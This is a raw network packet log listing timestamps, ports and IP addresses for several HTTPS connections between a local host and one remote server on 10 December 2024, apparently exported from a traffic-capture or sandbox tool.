Dec 10, 2024 07:35:31.000936031 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.000974894 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.008481026 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.008501053 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.008583069 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.008598089 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.008635044 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.016088963 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.016107082 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.016191006 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.016205072 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.016243935 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.048185110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048232079 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048297882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.048305035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048314095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.048340082 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.048799038 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048821926 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048876047 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.048896074 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.048929930 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.052536964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.052555084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.052612066 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.052615881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.052649975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.055324078 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.055341959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.055425882 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.055429935 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.055464983 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.062907934 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.062930107 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.063019037 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.063035965 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.063075066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.100856066 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.100935936 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.100970984 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.100996017 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.101007938 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.101022005 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.101052046 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.117970943 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.118010998 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.118040085 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.118052006 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.118091106 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.122170925 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.130436897 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.130470037 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.130863905 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.130872011 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.131329060 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.147577047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.147602081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.148583889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.148595095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.150517941 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.152575016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.152627945 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.152667999 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.152672052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.152702093 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.152729034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.157562971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.157582045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.158134937 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.158140898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.158459902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.159457922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.162048101 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.162070036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.162765026 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.162770033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.163335085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.166937113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.166963100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.167836905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.167840958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.168509960 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.171524048 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.171572924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.172257900 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.172261953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.172821045 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.178719044 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.178749084 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.179574966 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.179594040 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.179939985 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.185317993 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.185340881 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.185412884 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.185420036 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.185465097 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.193059921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.193077087 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.193166971 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.193171978 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.193211079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.200938940 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.200954914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.201031923 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.201037884 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.201076984 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.208245993 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.208264112 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.208343029 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.208350897 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.208396912 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.220237017 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.240664959 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.240696907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.241255045 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.241281986 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.241724014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.241733074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.242106915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.242125034 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.242286921 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.243068933 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.244765997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.244792938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.245064974 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.245069027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.245115995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.248831034 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.248845100 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.248919010 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.248934031 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.248969078 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.255525112 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.255542040 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.255642891 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.255650043 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.255683899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.269690037 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.292999029 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.296983957 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.297025919 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.297647953 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.297672987 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.298060894 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.305246115 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.313067913 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.313162088 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.313169956 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.321243048 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.321305990 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.321322918 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.329302073 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.329509020 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.329523087 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.339879036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.339899063 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.340043068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.340059996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.340105057 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.344819069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.344881058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.344923973 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.344944954 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.344963074 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.344984055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.345401049 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.345453024 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.345463991 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.345491886 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.345530987 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.349242926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.349266052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.349350929 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.349364042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.349406958 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.353565931 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.354216099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.354237080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.354305983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.354319096 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.354357004 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.359282017 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.359304905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.359384060 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.359400034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.359437943 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.361648083 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.361686945 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.361720085 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.361740112 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.361783028 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.363898993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.363919973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.363992929 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.364006996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.364161968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.368242025 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.370965004 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.370995045 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.372211933 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.372230053 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.372745991 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.374634981 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.375047922 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.375065088 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.378601074 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.378623962 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.379250050 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.379270077 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.380040884 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.381055117 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.381268978 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.381287098 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.385474920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.385497093 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.385590076 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.385602951 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.385648012 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.392818928 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.392837048 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.392918110 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.392926931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.392966032 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.400491953 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.400512934 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.400631905 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.400641918 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.400682926 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.425995111 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.426023006 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.432611942 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.432636023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.432806015 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.432825089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.432883978 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.433474064 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.433499098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.433571100 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.433579922 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.433625937 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.437026978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.437057018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.437144995 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.437150955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.437192917 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.441061020 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.441085100 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.441169977 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.441184998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.441224098 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.447798967 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.447818995 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.447904110 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.447912931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.447956085 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.472783089 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.503249884 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503278017 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503321886 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503341913 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503355026 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.503371000 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503379107 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.503416061 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.503456116 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.532480001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.532502890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.532553911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.532571077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.532622099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.533232927 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.533246040 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.533277035 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.533289909 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.533301115 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.533313990 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.533337116 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.533359051 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.537138939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.537158012 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.537235975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.537241936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.537276983 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.541430950 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.541450024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.541507006 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.541512012 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.541557074 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.546535015 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.546576023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.546610117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.546614885 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.546672106 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.551573992 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.551594973 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.551666975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.551671982 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.551714897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.556070089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.556088924 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.556268930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.556273937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.556333065 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.561464071 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.561492920 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.561568022 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.561593056 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.561645031 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.563105106 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.563131094 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.563214064 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.563230038 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.563277006 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.570777893 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.570791960 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.570883036 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.570890903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.570936918 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.577569008 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.577584982 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.577661037 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.577670097 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.577713966 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.585107088 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.585124969 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.585201025 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.585211992 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.585258007 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.585880041 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.585910082 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.585966110 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.585995913 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.586013079 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.586039066 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.592715979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.592742920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:31.592830896 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:31.592845917 CET	443	49743	185.199.109.133	192.168.2.5
